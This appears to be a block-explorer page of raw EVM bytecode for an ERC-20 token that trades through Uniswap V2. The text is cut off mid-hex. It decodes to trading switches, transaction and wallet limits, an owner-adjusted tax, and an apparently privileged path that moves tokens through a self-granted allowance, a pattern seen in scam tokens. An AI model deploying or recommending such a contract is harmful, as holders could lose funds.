0565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000612ed9601a83612aba565b9150612ee482612ea3565b602082019050919050565b60006020820190508181036000830152612f0881612ecc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f5657607f821691505b602082108103612f6957612f68612f0f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fa982612a7b565b9150612fb483612a7b565b9250828201905080821115612fcc57612fcb612f6f565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061302e602583612aba565b915061303982612fd2565b604082019050919050565b6000602082019050818103600083015261305d81613021565b9050919050565b60008151905061307381612b92565b92915050565b60006020828403121561308f5761308e612b61565b5b600061309d84828501613064565b91505092915050565b60006040820190506130bb6000830185612a51565b6130c86020830184612a85565b9392505050565b6000815190506130de81612da5565b92915050565b6000602082840312156130fa576130f9612b61565b5b6000613108848285016130cf565b91505092915050565b60008151905061312081612b66565b92915050565b60006020828403121561313c5761313b612b61565b5b600061314a84828501613111565b91505092915050565b60006040820190506131686000830185612a51565b6131756020830184612a51565b9392505050565b6000819050919050565b60006131a161319c6131978461317c565b612c34565b612a7b565b9050919050565b6131b181613186565b82525050565b600060c0820190506131cc6000830189612a51565b6131d96020830188612a85565b6131e660408301876131a8565b6131f360608301866131a8565b6132006080830185612a51565b61320d60a0830184612a85565b979650505050505050565b60008060006060848603121561323157613230612b61565b5b600061323f86828701613064565b935050602061325086828701613064565b925050604061326186828701613064565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132fe81612a3f565b82525050565b600061331083836132f5565b60208301905092915050565b6000602082019050919050565b6000613334826132c9565b61333e81856132d4565b9350613349836132e5565b8060005b8381101561337a5781516133618882613304565b975061336c8361331c565b92505060018101905061334d565b5085935050505092915050565b600060808201905061339c60008301876131a8565b81810360208301526133ae8186613329565b90506133bd6040830185612a51565b6133ca6060830184612a85565b95945050505050565b60006060820190506133e86000830186612a51565b6133f56020830185612a51565b6134026040830184612a85565b949350505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613466602683612aba565b91506134718261340a565b604082019050919050565b6000602082019050818103600083015261349581613459565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134d2602083612aba565b91506134dd8261349c565b602082019050919050565b60006020820190508181036000830152613501816134c5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613564602483612aba565b915061356f82613508565b604082019050919050565b6000602082019050818103600083015261359381613557565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135f6602283612aba565b91506136018261359a565b604082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613662601d83612aba565b915061366d8261362c565b602082019050919050565b6000602082019050818103600083015261369181613655565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136f4602583612aba565b91506136ff82613698565b604082019050919050565b60006020820190508181036000830152613723816136e7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613786602383612aba565b91506137918261372a565b604082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b60006137f2601383612aba565b91506137fd826137bc565b602082019050919050565b60006020820190508181036000830152613821816137e5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613884603d83612aba565b915061388f82613828565b604082019050919050565b600060208201905081810360008301526138b381613877565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b6000613916603683612aba565b9150613921826138ba565b604082019050919050565b6000602082019050818103600083015261394581613909565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b60006139a8603983612aba565b91506139b38261394c565b604082019050919050565b600060208201905081810360008301526139d78161399b565b9050919050565b60006139e982612a7b565b91506139f483612a7b565b9250828202613a0281612a7b565b91508282048414831517613a1957613a18612f6f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a5a82612a7b565b9150613a6583612a7b565b925082613a7557613a74613a20565b5b828204905092915050565b6000613a8b82612a7b565b9150613a9683612a7b565b9250828203905081811115613aae57613aad612f6f565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b10602683612aba565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b600060a082019050613b5b6000830188612a85565b613b686020830187612a85565b8181036040830152613b7a8186613329565b9050613b896060830185612a51565b613b966080830184612a85565b969550505050505056fea2646970667358221220b974b153c3588349517da2bbec2e911bea8e726930baf14279aac2800feb9e1c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063e83c12331461079e578063ef437ff5146107c7578063f2fde38b146107f0578063fca675a8146108195761020f565b8063b61b64fa146106c6578063c673bb1d146106f1578063d226838a1461071a578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105cb578063a014f37d146105f6578063a457c2d714610621578063a9059cbb1461065e578063aa4bde281461069b5761020f565b8063751039fc146105215780638baa8249146105385780638c0b5e22146105755780638da5cb5b146105a05761020f565b80632fee9e7e1161019b5780633eb5d9b21161016a5780633eb5d9b21461044c57806349bd5a5e1461047757806354b762a6146104a257806370a08231146104cd578063715018a61461050a5761020f565b80632fee9e7e1461037c578063313ce567146103b957806333ee1793146103e4578063395093511461040f5761020f565b8063095ea7b3116101d7578063095ea7b3146102ac5780631694505e146102e957806318160ddd1461031457806323b872dd1461033f5761020f565b806303fd2a45146102145780630445b6671461023f578063055b8b3e1461026a57806306fdde03146102815761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b005b34801561028d57600080fd5b50610296610900565b6040516102a39190612b3f565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190612bbe565b610992565b6040516102e09190612c19565b60405180910390f35b3480156102f557600080fd5b506102fe6109b5565b60405161030b9190612c93565b60405180910390f35b34801561032057600080fd5b506103296109d9565b6040516103369190612a94565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190612cae565b6109e3565b6040516103739190612c19565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612d01565b610a12565b6040516103b09190612c19565b60405180910390f35b3480156103c557600080fd5b506103ce610a32565b6040516103db9190612d4a565b60405180910390f35b3480156103f057600080fd5b506103f9610a3b565b6040516104069190612a94565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612bbe565b610a41565b6040516104439190612c19565b60405180910390f35b34801561045857600080fd5b50610461610a78565b60405161046e9190612a94565b60405180910390f35b34801561048357600080fd5b5061048c610a7e565b6040516104999190612a60565b60405180910390f35b3480156104ae57600080fd5b506104b7610aa4565b6040516104c49190612c19565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612d01565b610b20565b6040516105019190612a94565b60405180910390f35b34801561051657600080fd5b5061051f610b68565b005b34801561052d57600080fd5b50610536610b7c565b005b34801561054457600080fd5b5061055f600480360381019061055a9190612d01565b610bac565b60405161056c9190612c19565b60405180910390f35b34801561058157600080fd5b5061058a610bcc565b6040516105979190612a94565b60405180910390f35b3480156105ac57600080fd5b506105b5610bd2565b6040516105c29190612a60565b60405180910390f35b3480156105d757600080fd5b506105e0610bfc565b6040516105ed9190612b3f565b60405180910390f35b34801561060257600080fd5b5061060b610c8e565b6040516106189190612c19565b60405180910390f35b34801561062d57600080fd5b5061064860048036038101906106439190612bbe565b610cda565b6040516106559190612c19565b60405180910390f35b34801561066a57600080fd5b5061068560048036038101906106809190612bbe565b610d51565b6040516106929190612c19565b60405180910390f35b3480156106a757600080fd5b506106b0610d74565b6040516106bd9190612a94565b60405180910390f35b3480156106d257600080fd5b506106db610d7a565b6040516106e89190612a94565b60405180910390f35b3480156106fd57600080fd5b5061071860048036038101906107139190612d01565b610d80565b005b610722610ea5565b005b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612bbe565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612dd1565b611565565b005b3480156107fc57600080fd5b5061081760048036038101906108129190612d01565b6115c8565b005b34801561082557600080fd5b5061082e61164b565b60405161083b9190612e88565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b61087861165e565b601060029054906101000a900460ff16156108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90612eef565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b60606003805461090f90612f3e565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90612f3e565b80156109885780601f1061095d57610100808354040283529160200191610988565b820191906000526020600020905b81548152906001019060200180831161096b57829003601f168201915b5050505050905090565b60008061099d6116dc565b90506109aa8185856116e4565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000806109ee6116dc565b90506109fb8582856118ad565b610a06858585611939565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610a4c6116dc565b9050610a6d818585610a5e858961118e565b610a689190612f9e565b6116e4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b10573d6000803e3d6000fd5b5060006016819055506001905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b7061165e565b610b7a60006122f3565b565b610b8461165e565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c0b90612f3e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3790612f3e565b8015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b5050505050905090565b6000610c9861165e565b6003601060006101000a81548160ff02191690836003811115610cbe57610cbd612e11565b5b0217905550600060118190555060006012819055506001905090565b600080610ce56116dc565b90506000610cf3828661118e565b905083811015610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90613044565b60405180910390fd5b610d4582868684036116e4565b60019250505092915050565b600080610d5c6116dc565b9050610d69818585611939565b600191505092915050565b60095481565b60165481565b610d8861165e565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e009190612a60565b602060405180830381865afa158015610e1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e419190613079565b6040518363ffffffff1660e01b8152600401610e5e9291906130a6565b6020604051808303816000875af1158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea191906130e4565b5050565b610ead61165e565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190613126565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe79190613126565b6040518363ffffffff1660e01b8152600401611004929190613153565b6020604051808303816000875af1158015611023573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110479190613126565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110d2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116e4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719343061111930610b20565b600080611124610bd2565b426040518863ffffffff1660e01b8152600401611146969594939291906131b7565b60606040518083038185885af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190613218565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600267ffffffffffffffff8111156112525761125161326b565b5b6040519080825280602002602001820160405280156112805781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113129190613126565b816000815181106113265761132561329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106113755761137461329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106113c5576113c461329a565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114b8577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016114819493929190613387565b6000604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b505050505061155f565b6114c284846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106114f3576114f261329a565b5b6020026020010151866040518463ffffffff1660e01b815260040161151a939291906133d3565b6020604051808303816000875af1158015611539573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155d91906130e4565b505b50505050565b61156d61165e565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115d061165e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116369061347c565b60405180910390fd5b611648816122f3565b50565b601060009054906101000a900460ff1681565b6116666116dc565b73ffffffffffffffffffffffffffffffffffffffff16611684610bd2565b73ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906134e8565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a9061357a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b99061360c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118a09190612a94565b60405180910390a3505050565b60006118b9848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119335781811015611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c90613678565b60405180910390fd5b61193284848484036116e4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f9061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061379c565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611abb5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b1057601060029054906101000a900460ff16611b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0690613808565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cad57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cac57600854811115611c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4a9061389a565b60405180910390fd5b600954611c5f83610b20565b82611c6a9190612f9e565b1115611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca29061392c565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d565750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122e257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e045750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121f457600854821115611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e45906139be565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ef55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f2d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fff5760006003811115611f4657611f45612e11565b5b601060009054906101000a900460ff166003811115611f6857611f67612e11565b5b03611fc6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fd891906139de565b611fe29190613a4f565b9050611fef853083612407565b8083611ffb9190613a80565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120a65750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120de57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120f65750601060039054906101000a900460ff165b801561210f5750601060019054906101000a900460ff16155b156121ef576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121795760135490505b6001601060016101000a81548160ff02191690831515021790555061219c61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121c791906139de565b6121d19190613a4f565b90506121de863083612407565b80846121ea9190613a80565b925050505b6122e1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480156122a257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122e05760006064601354846122b991906139de565b6122c39190613a4f565b90506122d0853083612407565b80836122dc9190613a80565b9150505b5b5b6122ed848483612407565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124015761240084838584036116e4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc9061379c565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610b20565b03156127425760008061269a30610b20565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b20565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a80565b9450600a54821115612722578061270e576000612710565b845b8561271b9190613a4f565b6016819055505b84601660008282546127349190612f9e565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a61326b565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613126565b8160018151811061288e5761288d61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016129439291906130a6565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298691906130e4565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000612ed9601a83612aba565b9150612ee482612ea3565b602082019050919050565b60006020820190508181036000830152612f0881612ecc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f5657607f821691505b602082108103612f6957612f68612f0f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000